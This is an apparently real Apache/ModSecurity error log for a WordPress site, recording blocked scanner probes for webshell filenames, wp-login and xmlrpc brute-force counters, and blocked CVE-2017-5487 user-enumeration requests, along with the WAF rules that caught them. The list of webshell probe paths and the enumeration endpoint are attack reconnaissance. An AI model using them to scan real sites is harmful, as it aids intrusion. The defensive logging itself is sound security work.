[Thu Dec 11 00:12:18.051650 2025] [:error] [pid 10434:tid 10467] [client 4.230.47.236:6870] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell20211028.php"] [unique_id "aTmb4mbAnZFInxx5bO-a2QAAAEA"]
[Thu Dec 11 00:12:18.406095 2025] [:error] [pid 10434:tid 10491] [client 4.230.47.236:6806] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock.php"] [unique_id "aTmb4mbAnZFInxx5bO-a2gAAAFg"]
[Thu Dec 11 00:12:18.755925 2025] [:error] [pid 10434:tid 10468] [client 4.230.47.236:41000] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock.php"] [unique_id "aTmb4mbAnZFInxx5bO-a2wAAAEE"]
[Thu Dec 11 00:12:19.185909 2025] [:error] [pid 10520:tid 10536] [client 4.230.47.236:40961] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock.php"] [unique_id "aTmb40NrVZZksrD9M7EJ2AAAAQ4"]
[Thu Dec 11 00:12:19.520841 2025] [:error] [pid 10435:tid 10494] [client 4.230.47.236:6884] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock.php"] [unique_id "aTmb445HZq66Rpdj2aJuIQAAAAA"]
[Thu Dec 11 00:12:19.826230 2025] [:error] [pid 10434:tid 10469] [client 4.230.47.236:45677] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aTmb42bAnZFInxx5bO-a3QAAAEI"]
[Thu Dec 11 00:12:20.308567 2025] [:error] [pid 10433:tid 10455] [client 4.230.47.236:6863] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aTmb5GfQ1q-Ic7huYoXvSQAAANI"]
[Thu Dec 11 00:12:20.629278 2025] [:error] [pid 10433:tid 10459] [client 4.230.47.236:40994] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aTmb5GfQ1q-Ic7huYoXvSgAAANY"]
[Thu Dec 11 00:12:20.986833 2025] [:error] [pid 10433:tid 10454] [client 4.230.47.236:44375] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aTmb5GfQ1q-Ic7huYoXvSwAAANE"]
[Thu Dec 11 00:15:03.495707 2025] [:error] [pid 10434:tid 10474] [client 44.242.243.90:58681] [client 44.242.243.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 44.242.243.90, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTmch2bAnZFInxx5bO-bpAAAAEc"]
[Thu Dec 11 00:15:07.498509 2025] [:error] [pid 10434:tid 10467] [client 44.242.243.90:58681] [client 44.242.243.90] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTmci2bAnZFInxx5bO-bqQAAAEA"]
[Thu Dec 11 00:15:10.685625 2025] [:error] [pid 10434:tid 10470] [client 44.242.243.90:58681] [client 44.242.243.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 44.242.243.90, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTmcjmbAnZFInxx5bO-brQAAAEM"]
[Thu Dec 11 00:47:29.930321 2025] [:error] [pid 10520:tid 10530] [client 45.88.106.230:60994] [client 45.88.106.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.88.106.230, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTmkIUNrVZZksrD9M7ETmwAAAQg"]
[Thu Dec 11 01:56:29.151953 2025] [:error] [pid 10520:tid 10523] [client 152.53.37.34:35564] [client 152.53.37.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.53.37.34, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTm0TUNrVZZksrD9M7EjXgAAAQE"]
[Thu Dec 11 01:56:40.916071 2025] [:error] [pid 10520:tid 10537] [client 34.134.87.234:55027] [client 34.134.87.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.134.87.234, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTm0WENrVZZksrD9M7EjjAAAAQ8"]
[Thu Dec 11 01:56:43.801420 2025] [:error] [pid 10520:tid 10530] [client 34.134.87.234:55027] [client 34.134.87.234] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTm0W0NrVZZksrD9M7EjlgAAAQg"]
[Thu Dec 11 01:56:48.589797 2025] [:error] [pid 10520:tid 10530] [client 34.134.87.234:55027] [client 34.134.87.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.134.87.234, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTm0YENrVZZksrD9M7EjmgAAAQg"]
[Thu Dec 11 01:58:52.054891 2025] [:error] [pid 42065:tid 42077] [client 35.197.110.141:63904] [client 35.197.110.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.197.110.141, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTm03Pkj8kMSvqJobVURcwAAAUo"]
[Thu Dec 11 01:58:55.405300 2025] [:error] [pid 42065:tid 42076] [client 35.197.110.141:63904] [client 35.197.110.141] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTm03_kj8kMSvqJobVURdwAAAUk"]
[Thu Dec 11 01:58:57.835702 2025] [:error] [pid 42065:tid 42080] [client 35.197.110.141:63904] [client 35.197.110.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.197.110.141, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTm04fkj8kMSvqJobVUReQAAAU0"]
[Thu Dec 11 02:02:25.783960 2025] [:error] [pid 10520:tid 10535] [client 103.1.187.190:48536] [client 103.1.187.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.1.187.190, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTm1sUNrVZZksrD9M7ElLwAAAQ0"]
[Thu Dec 11 02:07:14.618728 2025] [:error] [pid 10434:tid 10491] [client 34.125.94.173:59799] [client 34.125.94.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.125.94.173, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTm20mbAnZFInxx5bO--rQAAAFg"]
[Thu Dec 11 02:07:17.584776 2025] [:error] [pid 10434:tid 10487] [client 34.125.94.173:59799] [client 34.125.94.173] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTm21WbAnZFInxx5bO--tgAAAFQ"]
[Thu Dec 11 02:07:19.764623 2025] [:error] [pid 10434:tid 10490] [client 34.125.94.173:59799] [client 34.125.94.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.125.94.173, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTm212bAnZFInxx5bO--uwAAAFc"]
[Thu Dec 11 03:08:56.602730 2025] [:error] [pid 42065:tid 42067] [client 116.203.254.160:48776] [client 116.203.254.160] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.203.254.160, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTnFSPkj8kMSvqJobVUbsAAAAUA"]
[Thu Dec 11 04:25:18.954152 2025] [:error] [pid 57992:tid 58059] [client 35.187.115.6:34268] [client 35.187.115.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.187.115.6, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTnXLuUeau0BMFF2vHnOIgAAAIo"]
[Thu Dec 11 04:41:21.371883 2025] [proxy_fcgi:error] [pid 57990:tid 58001] [client 4.193.208.244:49497] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Thu Dec 11 04:41:22.830032 2025] [:error] [pid 57990:tid 58004] [client 4.193.208.244:49497] [client 4.193.208.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.193.208.244, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aTna8gqZT_dc36fQdXGo6QAAAAk"], referer: https://www.google.co.uk/
[Thu Dec 11 04:41:22.836625 2025] [proxy_fcgi:error] [pid 57990:tid 58004] [client 4.193.208.244:49497] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Thu Dec 11 04:44:13.744815 2025] [autoindex:error] [pid 57992:tid 58066] [client 4.193.208.244:17251] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Thu Dec 11 04:44:18.162051 2025] [:error] [pid 57992:tid 58072] [client 4.193.208.244:17251] [client 4.193.208.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.193.208.244, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTnbouUeau0BMFF2vHnULAAAAJc"], referer: https://www.google.com/
[Thu Dec 11 04:44:23.967355 2025] [:error] [pid 57992:tid 58060] [client 4.193.208.244:17251] [client 4.193.208.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.193.208.244, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTnbp-Ueau0BMFF2vHnUNAAAAIs"], referer: https://www.google.de/
[Thu Dec 11 04:45:00.501236 2025] [:error] [pid 57990:tid 57995] [client 4.193.208.244:17267] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aTnbzAqZT_dc36fQdXGpyAAAAAA"], referer: https://www.bing.com/
[Thu Dec 11 04:45:02.376796 2025] [:error] [pid 57991:tid 58028] [client 4.193.208.244:61606] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aTnbzqPyGmNXA2ZsETbYRAAAAEY"], referer: https://www.google.com/
[Thu Dec 11 04:45:03.085755 2025] [:error] [pid 58099:tid 58121] [client 4.193.208.244:16650] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aTnbz8KZVSF_bdPFqRgl_gAAANQ"], referer: https://duckduckgo.com/
[Thu Dec 11 04:45:04.978203 2025] [:error] [pid 57992:tid 58066] [client 4.193.208.244:50643] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aTnb0OUeau0BMFF2vHnUfAAAAJE"], referer: https://www.google.co.uk/
[Thu Dec 11 04:45:05.966112 2025] [:error] [pid 57990:tid 58004] [client 4.193.208.244:61627] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aTnb0QqZT_dc36fQdXGpzgAAAAk"], referer: https://www.bing.com/
[Thu Dec 11 04:45:06.928351 2025] [:error] [pid 58099:tid 58114] [client 4.193.208.244:16682] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aTnb0sKZVSF_bdPFqRgmBgAAAM0"], referer: https://www.google.de/
[Thu Dec 11 04:45:07.466115 2025] [:error] [pid 57992:tid 58062] [client 4.193.208.244:50671] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aTnb0-Ueau0BMFF2vHnUgQAAAI0"], referer: https://www.bing.com/
[Thu Dec 11 04:45:08.866153 2025] [:error] [pid 57990:tid 58009] [client 4.193.208.244:16666] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aTnb1AqZT_dc36fQdXGp2QAAAA4"], referer: https://www.yahoo.com/
[Thu Dec 11 04:45:09.562585 2025] [:error] [pid 57990:tid 57996] [client 4.193.208.244:61577] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aTnb1QqZT_dc36fQdXGp3AAAAAE"], referer: https://www.google.co.uk/
[Thu Dec 11 04:45:11.142145 2025] [:error] [pid 57991:tid 58031] [client 4.193.208.244:16661] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/xwx1.php"] [unique_id "aTnb16PyGmNXA2ZsETbYTwAAAEk"], referer: https://www.bing.com/
[Thu Dec 11 04:45:12.101130 2025] [:error] [pid 57992:tid 58061] [client 4.193.208.244:61585] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aTnb2OUeau0BMFF2vHnUgwAAAIw"], referer: https://www.bing.com/
[Thu Dec 11 04:45:13.513782 2025] [:error] [pid 27459:tid 27475] [client 4.193.208.244:50675] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aTnb2VhPEXihPBKMpRNdiAAAAQ4"], referer: https://www.google.fr/
[Thu Dec 11 04:45:14.964685 2025] [:error] [pid 57991:tid 58023] [client 4.193.208.244:61608] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aTnb2qPyGmNXA2ZsETbYWAAAAEE"], referer: https://www.google.fr/
[Thu Dec 11 04:45:17.108349 2025] [:error] [pid 57990:tid 58008] [client 4.193.208.244:64509] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-bindings/radio.php"] [unique_id "aTnb3QqZT_dc36fQdXGp4QAAAA0"], referer: https://www.yahoo.com/
[Thu Dec 11 04:45:18.100181 2025] [:error] [pid 57992:tid 58051] [client 4.193.208.244:16693] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aTnb3uUeau0BMFF2vHnUiwAAAII"], referer: https://www.bing.com/
[Thu Dec 11 04:45:19.327479 2025] [:error] [pid 57992:tid 58053] [client 4.193.208.244:50656] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-locale-switcher-less.php"] [unique_id "aTnb3-Ueau0BMFF2vHnUjgAAAIQ"], referer: https://www.yahoo.com/
[Thu Dec 11 04:45:20.620356 2025] [:error] [pid 57991:tid 58037] [client 4.193.208.244:17260] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aTnb4KPyGmNXA2ZsETbYXwAAAE8"], referer: https://www.google.co.uk/
[Thu Dec 11 04:45:21.429170 2025] [:error] [pid 58099:tid 58114] [client 4.193.208.244:17278] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aTnb4cKZVSF_bdPFqRgmFgAAAM0"], referer: https://www.google.de/
[Thu Dec 11 04:45:22.633270 2025] [:error] [pid 57992:tid 58053] [client 4.193.208.244:61631] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/class-wp-customize-media-icon-control.php"] [unique_id "aTnb4uUeau0BMFF2vHnUmgAAAIQ"], referer: https://www.google.co.uk/
[Thu Dec 11 04:45:23.416659 2025] [:error] [pid 57992:tid 58070] [client 4.193.208.244:16702] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aTnb4-Ueau0BMFF2vHnUnAAAAJU"], referer: https://www.google.fr/
[Thu Dec 11 04:45:24.057100 2025] [:error] [pid 27459:tid 27466] [client 4.193.208.244:16694] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/sx.php"] [unique_id "aTnb5FhPEXihPBKMpRNdmQAAAQU"], referer: https://www.google.com/
[Thu Dec 11 04:45:25.232834 2025] [:error] [pid 27459:tid 27481] [client 4.193.208.244:61624] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/admin.php"] [unique_id "aTnb5VhPEXihPBKMpRNdmwAAARQ"], referer: https://www.yahoo.com/
